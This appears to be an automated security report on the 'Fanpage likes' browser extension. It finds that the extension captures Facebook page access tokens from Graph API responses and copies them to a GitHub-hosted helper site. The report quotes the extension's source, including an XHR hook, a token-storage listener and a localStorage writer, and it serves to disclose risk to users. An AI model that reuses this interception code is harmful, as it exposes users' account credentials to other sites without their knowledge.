Is Fanpage likes safe?
Fanpage likes stores Facebook page access tokens and exposes them to its helper site.
When used on app-sorteos.com, the extension intercepts Facebook Graph API responses for page accounts and stores any returned access tokens in extension storage. It then writes those tokens into localStorage on the helper site, making the Facebook page tokens readable by scripts on that origin.
Who publishes itscmou104 - no other listings under this identity
scmou104 - no other listings under this identity
What this publisher told the store about itself, and the other listings that told it the same thing.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Facebook page access tokens copied to helper-page storage
When you use the Fanpage likes workflow on app-sorteos.com, the extension copies Facebook Graph /me/accounts page access tokens into local storage, then writes them into localStorage on gg90052.github.io as facebookTokens, readable there.
- Severity
- High unwanted
- Type
- Unexpected
- CWE
- CWE-522
- Source
- Dynamic sandbox
You use the Fanpage likes workflow on app-sorteos.com.
That page flow can load Facebook Graph /me/accounts responses containing page account records.
The extension copies the page account records, including access tokens, into storage it controls.
When you later open the gg90052.github.io helper page, it writes those records into that page's localStorage as facebookTokens.
- Facebook page access tokenEAABwzLixnjYBO9ZCZA3x4Jb7h2NqP6vYt8R5LmKpQ (illustrative)
This credential can authorize Facebook Graph API requests for a page account, depending on the token's permissions and validity.
- Page account nameExample Coffee Fans (illustrative)
This links the token record to the Facebook page account shown in the workflow.
- Extension storage keychrome.storage.local key tokens
This is where the extension keeps the token records after reading the Facebook response.
- Helper-page storage keylocalStorage.facebookTokens
This makes the same token records readable to scripts running on the helper page you open.
The page-world script reads /me/accounts responses and posts token data
Readable shipped source: domain filter
getToken.jsconst TARGET_DOMAINS = ["graph.facebook.com"]; // 你想攔截的網域列表// --- 輔助函數:檢查 URL 是否屬於目標網域 ---function isTargetDomain(url) { if (!url) return false; try { const parsedUrl = new URL(url); return TARGET_DOMAINS.some((domain) => parsedUrl.hostname.endsWith(domain)); } catch (e) { // 無效的 URL 或相對路徑,根據需要處理 // console.warn("Could not parse URL:", url, e); // 對於相對路徑,可以嘗試結合 window.location.hostname 判斷 // const currentHostname = window.location.hostname; // return TARGET_DOMAINS.some(domain => currentHostname.endsWith(domain)); return false; // 簡單起見,忽略相對路徑或無效 URL }}Readable shipped source: XHR hook
getToken.jsXMLHttpRequest.prototype.send = function (...args) { const xhr = this; const originalOnLoad = xhr.onload; const originalOnError = xhr.onerror; const originalOnReadyStateChange = xhr.onreadystatechange; // 也攔截它 const handleResponse = () => { // 檢查是否是目標網域的回應 (使用 responseURL 較可靠) // 有些情況下 _requestURL 可能是相對路徑 const responseUrl = xhr.responseURL || xhr._requestURL; if (xhr.readyState === 4 && isTargetDomain(responseUrl)) { // console.log(`[XHR Intercepted Response] from: ${responseUrl}`); // console.log("Status:", xhr.status, xhr.statusText); // console.log("Headers:", xhr.getAllResponseHeaders()); // 根據 responseType 處理回應 let responseData; if (responseUrl.includes("/me/accounts")) { responseData = JSON.parse(xhr.responseText); appendTokenButton(responseData.data); // 使用 postMessage 將資料傳送給 Extension window.postMessage( { type: "FACEBOOK_TOKENS", data: responseData.data, }, "*" ); showToast("已完成TOKEN擷取"); } } }; // 攔截 onload xhr.onload = function (...loadArgs) { // console.log("XHR onload triggered for:", xhr._requestURL); handleResponse(); if (originalOnLoad) { return originalOnLoad.apply(this, loadArgs); } }; // 攔截 onerror xhr.onerror = function (...errorArgs) { console.log("XHR onerror triggered for:", xhr._requestURL); // 可以在這裡處理錯誤 if (originalOnError) { return originalOnError.apply(this, errorArgs); } }; // // 攔截 onreadystatechange (更通用,兼容舊代碼) // xhr.onreadystatechange = function (...readyStateArgs) { // // console.log(`XHR readystatechange: ${xhr.readyState} for: ${xhr._requestURL}`); // handleResponse(); // 在每次狀態改變時都檢查,確保 readyState 4 時能捕捉到 // if (originalOnReadyStateChange) { // return originalOnReadyStateChange.apply(this, readyStateArgs); // } // }; // console.log("XHR send called for:", xhr._requestURL); return originalXhrSend.apply(this, args);};The content scripts persist tokens and copy them to helper-page localStorage
Readable shipped source: extension storage write
saveToken.js// 監聽來自 Main World 的訊息window.addEventListener("message", function (event) { // 確保訊息來源是我們信任的 if (event.source != window) return; if (event.data.type === "FACEBOOK_TOKENS") { // 將資料儲存到 chrome.storage.local const tokens = { timestamp: new Date().toISOString(), tokens: event.data.data, }; chrome.storage.local.set( { tokens: tokens, }, function () { if (chrome.runtime.lastError) { console.error("儲存TOKEN時發生錯誤:", chrome.runtime.lastError); } else { console.log("TOKEN已成功儲存"); } } ); }});Readable shipped source: helper-page localStorage write
content2.js// 監聽 chrome.storage.local 的變化chrome.storage.local.onChanged.addListener(function (changes, namespace) { console.log(changes); if (changes.tokens) { console.log("Facebook tokens 已更新:", changes.tokens.newValue); // 將 tokens 注入到localstorage localStorage.setItem( "facebookTokens", JSON.stringify(changes.tokens.newValue) ); // 發送自定義事件通知其他腳本 tokens 已更新 const event = new CustomEvent("facebookTokensUpdated", { detail: changes.tokens.newValue, }); window.dispatchEvent(event); }});// 頁面載入時也讀取已存在的 tokenschrome.storage.local.get(["tokens"], function (result) { if (result.tokens) { localStorage.setItem("facebookTokens", JSON.stringify(result.tokens)); console.log("已載入現有的 Facebook tokens:", result.tokens); }});- app-sorteos.com
The extension injects the XHR-reading script into this workflow page.
- graph.facebook.com
The extension checks completed responses from this host and parses /me/accounts payloads.
- gg90052.github.io
The helper page receives the stored token records through page localStorage when the extension's content script runs there.
What it can do
Permissions this extension asks for, as declared in version 7.5.7. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Read and change your data on www.facebook.com
*://www.facebook.com/*
Read and change your data on gg90052.github.io
*://gg90052.github.io/*
Read and change your data on m.facebook.com
*://m.facebook.com/*
See the address and title of every tab you have open
tabs
Store data in your browser
storage
Where it sends data
Destinations our analysis observed Fanpage likes contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- gg90052.github.io
Fanpage likes sends data to gg90052.github.io. No other extension we have analysed sends data here.